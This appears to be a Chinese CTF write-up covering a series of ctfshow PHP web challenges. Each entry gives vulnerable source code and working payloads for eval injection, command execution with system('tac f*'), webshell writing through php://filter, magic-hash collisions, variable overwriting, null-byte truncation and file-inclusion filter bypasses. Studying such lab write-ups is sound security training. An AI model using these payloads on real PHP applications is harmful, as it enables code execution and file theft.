highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){ #is_numeric();判断是为纯数字
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3"); }} }?>
此题先看其在GET传三个参数v0那个有与运算符的先后性所以v1只能数字,即v2是指令v3必须有 ;字符
构造playload
方法一:?v1=1&v2=?>/* &v3= */;
?>进行对前面的闭合内敛执行/* */ 对(‘ctfshow’)内容进行注释 ;进行代码闭合
方法二:?v1=21&v2=var_dump($ctfshow) /* &v3= */ ; 对内容进行注释通过var_dump()将ctfshow荡出来
利用注释这种的姿势很多下面讲另一种方法
方法三:?v1=1&v2=echo new ReflectionClass&v3=; 通过new一个ReflectionClass对后面那个(‘ctfshow’)进行反射并输出 ReflectionClass大概意思就是将自己的内容进行反射出来达到元婴境的内视自身(就是将自己本身的内容反射出来)
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");}}}
?>
此题修复啦上一题即只能用非预期来做
构造playload /?v1=1&v2=echo new ReflectionClass&v3=;
得出后将 0x2d转译 - 然后最后爆破最后一位
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);//语法问题随便过
if($v4){//php7之前版本0x是可以被识别为数字的php7以后则不可以
$s = substr($v2,2); //去除前两位
$str = call_user_func($v1,$s);//调用此函数目的将$Sz执行$v1的命令
echo $str;
file_put_contents($v3,$str);}//编辑文件($v3),将$str内容写入进去
else{
die('hacker');
}?>
此题有大病非诚勿扰!
通过传参发现php版本为7.3然后看大佬的wp,大佬就是大佬,
有这个可知这题应该是靠这个执行然后往v3里面写入知识
又因为is_numeric($v2)函数即v2需要时数字然后我梦可以想到16进制转字符但是php7.3识别不了0x即16进制过不去即大佬神之一手又通过
$a='=`cat *`;';//目前我就找到这一个playload
$b=base64_encode($a); // 对$a进行base64
$c=bin2hex($b); //对所有字符进行ASCII码转换&v2=5044383959474e6864434171594473
//就很牛了发现没有就一个字符e而且e在数值中表示次方即$v2还是数字.
playload:
GET //问号为随便两个数字 $s = substr($v2,2);这个会把其去除
v2=??5044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php //使用伪协议将其base64也使前面的base转换保持一致
POST
v1=hex2bin//将$str = call_user_func($v1,$s)这个的ASCII再转过来
最后访问
http://af9b6a7d-1317-4946-ad73-93a063af694a.challenge.ctf.show/2.php 查看源代码即可
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');}
?>
这题和上一题一样不过做了其他过滤但是没有影响
playload:
GET //问号为随便两个数字 $s = substr($v2,2);这个会把其去除
v2=??5044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php //使用伪协议将其base64也使前面的base转换保持一致
POST
v1=hex2bin//将$str = call_user_func($v1,$s)这个的ASCII再转过来
最后访问并查看源代码
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){//sha1() 函数计算字符串的 SHA-1 散列。
echo $flag;}}
?>
aaK1STfY sha1散列后的特殊字符
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668
此题没看懂可能出题人大意了,看官方答案应该是让找sha1散列后的特殊存在
playload:
GET:v2=1
POST:v1=1 ctfshow{f95dd4f9-179d-4b89-af51-b9bdd4855153}
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){//控制GET传的值
if($key==='error'){
die("what are you doing?!");//查到error即结束并输出what are you doing?!
}
$$key=$$value;}//赋值 GET: ?suces=flag 将flag保存下来
foreach($_POST as $key => $value){//控制POST传的值
if($value==='flag'){//这个查flag但是前面flag传给suces了
die("what are you doing?!");
}
$$key=$$value;//POST: error=suces 实际目的是将flag传给error
}
if(!($_POST['flag']==$flag)){ //判断
die($error);//结束运行输出:error->suces->flag
}
echo "your are good".$flag."\n";
die($suces);
?>
这题就用个变量覆盖替换一下就好
//payload: GET: ?suces=flag POST: error=suces
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];//0e76658526655756207688271159624026011393 aaK1STfY
$v2 = $_GET['v2'];//0e89257456677279068558073954252716165668 aaO8zKZF
if(sha1($v1)==sha1($v2) && $v1!=$v2){//这题照应了104sha1散列后数字为0e开头
echo $flag; }}// PHP 在处理哈希字符串时它把每一个以”0E”开头的哈希值都解释为0,
?>
playload: GET:v2=aaK1STfY POST: v1=aaO8zKZF
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);//POST: V1=flag= 传给v2[flag]为空
if($v2['flag']==md5($v3)){// v3数组返回空 第一时间应该想到两边都为假时:null=null
echo $flag; }}
?>
# playload GET:V3[]=1 POST: V1=flag=
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');}
//ereg () 函数存在NULL截断漏洞,当传入的字符串包含%00时,只有%00前的字符串会传入函数并执行,
//而后半部分不会传入函数判断、playload: a%00?即可过前面的
if(intval(strrev($_GET['c']))==0x36d){//反转函数去除字符
echo $flag;}
?>
看懂大致意思后写个脚本跑一下
跑出$a=778即
# playload: /?c=v%00778 778翻过来的十六进制为0x36d
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());"); }}
?>
这个你看最后输出是一个eval("echo new v 1 ( v1( v1(v2());不难看出是new了一个类执行然后后面传v2即此题只要前面new类不报错后面就能随意执行
payload:
v1=Exception();system('tac f*');//Exception处理异常将原来的字符转
v1=ReflectionClass&v2=system('tac f*')//为字符串返回
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2"); }
eval("echo new $v1($v2());");}
?>
这题过滤的老奶奶都要绕道走过滤了所有的。。。就是只能用abc而$v1前面
又有个所以$v1只能是个类v2也是个函数不然就噶了,由题意可知此题考的是内置类,再通过大佬可知 filesystemiterator次类可以输出文件然后v2应该是一个能返回当前目录的函数即getcwd
playload:
# /?v1=filesystemiterator&v2=getcwd
直接访问即可!!!这中返回类型的题,如果你是欧皇可以扫面网址在 天时地利人和且字典里包含该目录的情况下也是可以的☠
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2"); }
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2); }}
?>
这波在大气层一看就知道和105差不多但是这个v2不知道传什么值,经过一波大佬分析发现一个特殊的全局变量
# $GLOBALS 它是所有变量的集合体组成的的数组
即如果我们将其赋给v2然后将v1=ctfshow时有会调用getFlag从而将v2的值赋给v1然后荡出v2的值而v2=$GLOBALS这个代表了所有的变量flag自然也在其中
#playload:GET v2=GLOBALS&v1=ctfshou
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file; }}
$file=$_GET['file'];
if(! is_file($file)){//判断是否是合理的文件名支持伪协议说明可以
highlight_file(filter($file));#伪协议绕过
}else{ echo "hacker!";}
?>
这题上个面过滤了那么多不难发现应该是通过伪协议来绕过
再一次尝试之后直接通过filter伪协议通过
#playload: GET: ?file=php://filter/resource=flag.php
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file; }}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";}
?>
这题做出来最大的收获就是发现了解题的另一种思路,通过查看php文档来做题首先这一题按照上面的来说应该具续使用伪协议但是已知的伪协议都被过滤了怎模板呢?我们开始查找php文档
通过函数查找找到is_file支持的伪协议
在可选项中尝试使用得出
#plafload /?file=compress.zlib://flag.php
这题看wp可发现用的是
#/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
应该是利用溢出哪一方面的知识我不太懂等大佬解析!
<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){ if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file; }}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
} 师傅们居然tql都是非预期 哼!
这题如果仔细看的话会发现少过滤个filter协议
#playload: /?file=php://filter/read/resource=flag.php
一个简单绕过那么多过滤写个脚本
//得出playload
#plagload ?num=%0c36
/*Exception() 处理异常将原来的字符转为字符串返回
ReflectionClass(?) 大概意思就是将自己的内容进行反射出来达到元婴境的内视自身(就是将自己本身的内容反射出来)
filesystemiterator() 遍历文件
directoryItreator() 遍历目录
/*getcwd() 函数是一个内置函数,用于返回当前工作目录。
# $GLOBALS 它是所有变量的集合体组成的的数组